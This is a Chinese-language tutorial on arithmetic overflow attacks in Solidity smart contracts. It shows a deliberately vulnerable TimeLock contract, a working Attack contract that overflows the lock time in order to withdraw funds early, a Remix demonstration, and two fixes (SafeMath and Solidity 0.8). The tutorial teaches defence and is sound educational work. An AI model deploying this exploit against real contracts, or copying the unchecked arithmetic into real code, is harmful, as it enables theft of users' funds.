今天给大家讲解下合约的数学安全运算溢出攻击的问题,导致这个问题产生的原因主要是使用了solidity的低版本,或者使用了低版本后没有使用官方的安全库来解决。具体来说,比如使用的是0.6的版本,那么我们在编写合约的时候用的是加减乘除的写法,但是没有引入官方的安全库的写法,就会导致数学安全运算的溢出问题。 接下来,我们使用代码示例来讲解下溢出发生的原因,以及如何解决溢出问题。
首先,我们写一份TimeLock合约,合约的主要逻辑是用户通过deposit方法可以将eth存入合约,但是当取出eth的时候,合约内部做了时间的限制,要求一星期后才能取出。代码如下。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
接下来,我们编写一份攻击合约。代码的主要逻辑是调用TimeLock合约的increaseLockTime方法,将时间进行增加操作,使得时间变量值增加变得溢出。代码如下。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) public {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
timeLock.increaseLockTime(
// type(uint).max + 1 - timeLock.lockTime(address(this))
uint(-timeLock.lockTime(address(this)))
);
timeLock.withdraw();
}
}
我们在remix上演示一下具体的流程。 首先,我们编译部署TimeLock合约,用户A质押了1个ether到合约内,但是用户A受到时间的限制无法立即取出ether,所以此时触发withdraw方法会报错。
其次,我们编译部署Attack合约,用户B质押1个ether并触发attack方法,此时用户B根据attack方法的逻辑,将1个ether存入到了TimeLock合约,但是随即又可以从TimeLock合约中将质押的1个ether提取出来。从TimeLock合约查看Attack合约的余额可以发现为1个ether,证明已经提取出来了。再查看Attack合约的lockTime,此时已经变成了0,证明攻击成功。
要解决以上的问题,我们第一种方案是使用0.6版本的前提下,使用官方的安全运算库来解决。代码如下。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/math/SafeMath.sol";
contract TimeLock {
using SafeMath for uint;
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
使用了安全运算库后,当我们去攻击TimeLock合约时,就会报错。如下图。
第二种方案是直接升级solidity的版本至0.8。代码如下。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
此时,当我们去攻击TimeLock合约时,也会报错。如下图。
好了,数学安全运算溢出攻击已经讲解完了。如果喜欢我的课程,就点个关注吧。